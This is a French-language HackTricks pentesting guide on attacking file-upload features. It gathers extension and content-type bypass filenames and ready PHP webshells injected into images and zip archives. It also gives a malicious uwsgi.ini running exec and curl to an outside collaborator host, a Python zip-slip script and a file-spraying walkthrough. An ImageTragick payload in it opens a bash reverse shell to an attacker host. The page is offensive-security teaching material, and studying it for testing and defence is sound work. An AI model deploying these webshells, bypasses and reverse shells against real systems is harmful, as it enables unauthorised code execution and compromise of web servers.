hacktricks/pentesting-web/file-upload/README.md

28 KiB
Raw Blame History

Téléversement de fichier

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Conseil pour les chasses aux bugs : inscrivez-vous sur Intigriti, une plateforme premium de chasse aux bugs créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

Méthodologie générale de téléversement de fichier

Autres extensions utiles :

  • PHP : .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Fonctionnant dans PHPv8 : .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP : .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp : .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion : .cfm, .cfml, .cfc, .dbm
  • Flash : .swf
  • Perl : .pl, .cgi
  • Serveur Web Erlang Yaws : .yaws

Contournement des vérifications d'extensions de fichier

  1. Si elles s'appliquent, vérifiez les extensions précédentes. Testez-les également en utilisant des lettres majuscules : pHp, .pHP5, .PhAr ...
  2. Vérifiez en ajoutant une extension valide avant l'extension d'exécution (utilisez également les extensions précédentes) :
  • file.png.php
  • file.png.Php5
  1. Essayez d'ajouter des caractères spéciaux à la fin. Vous pourriez utiliser Burp pour forcer tous les caractères ascii et Unicode. (Notez que vous pouvez également essayer d'utiliser les extensions mentionnées précédemment)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Essayez de contourner les protections en trompant l'analyseur d'extension du côté serveur avec des techniques telles que doubler l'extension ou ajouter des données inutiles (octets nuls) entre les extensions. Vous pouvez également utiliser les extensions précédentes pour préparer une meilleure charge utile.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Ajoutez une autre couche d'extensions à la vérification précédente :
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Essayez de mettre l'extension d'exécution avant l'extension valide et priez pour que le serveur soit mal configuré. (utile pour exploiter les mauvaises configurations d'Apache où tout avec l'extension .php, mais pas nécessairement se terminant par .php, exécutera du code) :
  • ex : file.php.png
  1. Utilisation du flux de données alternatif NTFS (ADS) dans Windows. Dans ce cas, un caractère deux-points “:” sera inséré après une extension interdite et avant une autorisée. En conséquence, un fichier vide avec l'extension interdite sera créé sur le serveur (par exemple, “file.asax:.jpg”). Ce fichier pourrait être modifié plus tard en utilisant d'autres techniques telles que l'utilisation de son nom de fichier court. Le motif “::$data” peut également être utilisé pour créer des fichiers non vides. Par conséquent, l'ajout d'un caractère point après ce motif peut également être utile pour contourner d'autres restrictions (.e.g. “file.asp::$data.”)
  2. Essayez de briser les limites de nom de fichier. L'extension valide est coupée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
# Linux maximum 255 octets
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # moins 4 ici et ajout de .png
# Téléversez le fichier et vérifiez la réponse pour savoir combien de caractères sont autorisés. Disons 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Préparez la charge utile
AAA<--SNIP 232 A-->AAA.php.png

Contournement des vérifications de Content-Type, Nombre Magique, Compression & Redimensionnement

  • Contournez les vérifications de Content-Type en définissant la valeur de l'en-tête Content-Type à : image/png , text/plain , application/octet-stream
  1. Liste de mots pour Content-Type : https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • Contournez la vérification du nombre magique en ajoutant au début du fichier les octets d'une vraie image (pour confondre la commande file). Ou introduisez le shell dans les métadonnées :
    exiftool -Comment="<?php echo 'Commande:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ou vous pourriez également introduire la charge utile directement dans une image :
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Si une compression est ajoutée à votre image, par exemple en utilisant certaines bibliothèques PHP standard comme PHP-GD, les techniques précédentes ne seront pas utiles. Cependant, vous pourriez utiliser la technique du chunk PLTE définie ici pour insérer du texte qui survivra à la compression.
  • Github avec le code
  • La page web pourrait également redimensionner l'image, en utilisant par exemple les fonctions PHP-GD imagecopyresized ou imagecopyresampled. Cependant, vous pourriez utiliser la technique du chunk IDAT définie ici pour insérer du texte qui survivra à la compression.
  • Github avec le code
  • Une autre technique pour créer une charge utile qui survivra à un redimensionnement d'image, en utilisant la fonction PHP-GD thumbnailImage. Cependant, vous pourriez utiliser la technique du chunk tEXt définie ici pour insérer du texte qui survivra à la compression.
  • Github avec le code

Autres astuces à vérifier

  • Trouvez une vulnérabilité pour renommer le fichier déjà téléversé (pour changer l'extension).
  • Trouvez une vulnérabilité d'Inclusion de Fichier Local pour exécuter le backdoor.
  • Divulgation d'informations possible :
  1. Téléversez plusieurs fois (et en même temps) le même fichier avec le même nom
  2. Téléversez un fichier avec le nom d'un fichier ou dossier qui existe déjà
  3. Téléversez un fichier avec “.”, “..”, ou “…” comme nom. Par exemple, dans Apache sous Windows, si l'application enregistre les fichiers téléversés dans le répertoire “/www/uploads/”, le nom de fichier “.” créera un fichier appelé “uploads” dans le répertoire “/www/”.
  4. Téléversez un fichier qui ne peut pas être supprimé facilement comme “…:.jpg” dans NTFS. (Windows)
  5. Téléversez un fichier sous Windows avec des caractères invalides tels que |<>*?” dans son nom. (Windows)
  6. Téléversez un fichier sous Windows en utilisant des noms réservés (interdits) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 et LPT9.
  • Essayez également de téléverser un exécutable (.exe) ou un .html (moins suspect) qui exécutera du code lorsqu'il sera ouvert accidentellement par la victime.

Astuces spéciales pour les extensions

Si vous essayez de téléverser des fichiers sur un serveur PHP, jetez un œil à l'astuce .htaccess pour exécuter du code.
Si vous essayez de téléverser des fichiers sur un serveur ASP, jetez un œil à l'astuce .config pour exécuter du code.

Les fichiers .phar sont comme les .jar pour Java, mais pour PHP, et peuvent être utilisés comme un fichier PHP (en l'exécutant avec PHP, ou en l'incluant dans un script...)

L'extension .inc est parfois utilisée pour des fichiers PHP qui sont uniquement utilisés pour importer des fichiers, donc, à un moment donné, quelqu'un pourrait avoir permis à cette extension d'être exécutée.

Jetty RCE

Si vous pouvez téléverser un fichier XML sur un serveur Jetty, vous pouvez obtenir un RCE car les nouveaux fichiers *.xml et *.war sont automatiquement traités. Ainsi, comme mentionné dans l'image suivante, téléversez le fichier XML dans $JETTY_BASE/webapps/ et attendez le shell !

uWSGI RCE

Si vous pouvez remplacer le fichier de configuration .ini d'un serveur uWSGI, vous pouvez obtenir un RCE. En effet, les fichiers de configuration uWSGI peuvent inclure des variables “magiques”, des espaces réservés et des opérateurs définis avec une syntaxe précise. L'opérateur '@' en particulier est utilisé sous la forme @(nom de fichier) pour inclure le contenu d'un fichier. De nombreux schémas uWSGI sont pris en charge, y compris “exec” - utile pour lire la sortie standard d'un processus. Ces opérateurs peuvent être utilisés pour l'exécution de commandes à distance ou l'écriture/lecture de fichiers arbitraires lorsqu'un fichier de configuration .ini est analysé :

Exemple de fichier malveillant uwsgi.ini :

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Lorsque le fichier de configuration sera analysé, le payload sera exécuté. Notez que pour que la configuration soit analysée, le processus doit être redémarré (crash ? DoS ?) ou le fichier doit être rechargé automatiquement (une option qui pourrait être utilisée indique les secondes pour recharger le fichier si un changement est détecté).

Note importante : L'analyse du fichier de configuration par uWSGI est laxiste. Le payload précédent peut être intégré à l'intérieur d'un fichier binaire (par exemple, image, pdf, ...).

wget File Upload/SSRF Trick

Dans certains cas, vous pouvez constater qu'un serveur utilise wget pour télécharger des fichiers et vous pouvez indiquer l'URL. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une liste blanche pour s'assurer que seuls les fichiers autorisés vont être téléchargés. Cependant, cette vérification peut être contournée.
La longueur maximale d'un nom de fichier sous linux est de 255, cependant, wget tronque les noms de fichiers à 236 caractères. Vous pouvez télécharger un fichier appelé "A"*232+".php"+".gif", ce nom de fichier contournera la vérification (comme dans cet exemple ".gif" est une extension valide) mais wget renommera le fichier en "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Notez qu'une autre option à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le serveur HTTP redirige vers un fichier différent, de sorte que l'URL initiale contourne la vérification, mais ensuite wget téléchargera le fichier redirigé avec le nouveau nom. Cela ne fonctionnera pas à moins que wget soit utilisé avec le paramètre --trust-server-names car wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale.

Autres ressources

Outils

  • Upload Bypass est un outil puissant conçu pour aider les Pentesters et les chercheurs de bugs dans le test des mécanismes de téléchargement de fichiers. Il utilise diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, assurant des évaluations approfondies des applications web.

Du téléchargement de fichier à d'autres vulnérabilités

Voici une liste des 10 principales choses que vous pouvez réaliser en téléchargeant (depuis lien) :

  1. ASP / ASPX / PHP5 / PHP / PHP3 : Webshell / RCE
  2. SVG : XSS stocké / SSRF / XXE
  3. GIF : XSS stocké / SSRF
  4. CSV : Injection CSV
  5. XML : XXE
  6. AVI : LFI / SSRF
  7. HTML / JS : Injection HTML / XSS / Redirection ouverte
  8. PNG / JPEG : Attaque par inondation de pixels (DoS)
  9. ZIP : RCE via LFI / DoS
  10. PDF / PPTX : SSRF / XXE aveugle

Extension Burp

{% embed url="https://github.com/portswigger/upload-scanner" %}

Magic Header Bytes

  • PNG : "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG : "\xff\xd8\xff"

Référez-vous à https://en.wikipedia.org/wiki/List_of_file_signatures pour d'autres types de fichiers.

Téléchargement automatique de fichiers Zip/Tar décompressés

Si vous pouvez télécharger un ZIP qui va être décompressé à l'intérieur du serveur, vous pouvez faire 2 choses :

Téléchargez un lien contenant des liens symboliques vers d'autres fichiers, puis, en accédant aux fichiers décompressés, vous accéderez aux fichiers liés :

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Décompression dans différents dossiers

Les fichiers décompressés seront créés dans des dossiers inattendus.

On pourrait facilement supposer que cette configuration protège contre l'exécution de commandes au niveau du système d'exploitation via des téléversements de fichiers malveillants, mais malheureusement ce n'est pas le cas. Étant donné que le format d'archive ZIP prend en charge la compression hiérarchique et que nous pouvons également faire référence à des répertoires de niveau supérieur, nous pouvons nous échapper du répertoire de téléversement sécurisé en abusant de la fonction de décompression de l'application cible.

Un exploit automatisé pour créer ce type de fichiers peut être trouvé ici : https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Vous pouvez également utiliser l'astuce du lien symbolique avec evilarc, si le flag se trouve dans /flag.txt assurez-vous de créer un lien symbolique vers ce fichier et créez ce fichier dans votre système afin que lorsque vous exécutez evilarc, il ne génère pas d'erreur.

Voici du code python pour créer une archive zip malveillante :

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Pour réaliser une exécution de commande à distance, j'ai suivi les étapes suivantes :

  1. Créer un shell PHP :
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Utilisez le « file spraying » et créez un fichier zip compressé :
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.Utilisez un éditeur hexadécimal ou vi et changez "xxA" en "../", j'ai utilisé vi :

:set modifiable
:%s/xxA/..\//g
:x!
Il ne restait plus qu'une étape : téléverser le fichier ZIP et laisser l'application le décompresser ! Si cela réussit et que le serveur web a suffisamment de privilèges pour écrire dans les répertoires, il y aura un shell d'exécution de commandes OS simple sur le système :

[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)

**Référence** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)

## ImageTragic

Téléversez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)**
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Intégration d'un PHP Shell dans un PNG

La raison principale de l'insertion d'un web shell dans le chunk IDAT est qu'il peut contourner les opérations de redimensionnement et de rééchantillonnage - PHP-GD contient deux fonctions pour cela imagecopyresized et imagecopyresampled.

Lisez ce post : https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Fichiers Polyglottes

Les polyglottes, dans un contexte de sécurité, sont des fichiers qui sont une forme valide de plusieurs types de fichiers différents. Par exemple, un GIFAR est à la fois un fichier GIF et RAR. Il existe également des fichiers qui peuvent être à la fois GIF et JS, PPT et JS, etc.

Les fichiers polyglottes sont souvent utilisés pour contourner la protection basée sur les types de fichiers. De nombreuses applications qui permettent aux utilisateurs de télécharger des fichiers n'autorisent que certains types, tels que JPEG, GIF, DOC, afin d'empêcher les utilisateurs de télécharger des fichiers potentiellement dangereux comme les fichiers JS, PHP ou Phar.

Cela aide à télécharger un fichier qui respecte le format de plusieurs formats différents. Cela peut vous permettre de télécharger un fichier PHAR (PHp ARchive) qui ressemble également à un JPEG, mais vous aurez probablement encore besoin d'une extension valide et si la fonction de téléchargement ne le permet pas, cela ne vous aidera pas.

Plus d'informations sur : https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a


Conseil pour les chasseurs de bugs : inscrivez-vous sur Intigriti, une plateforme de bug bounty premium créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :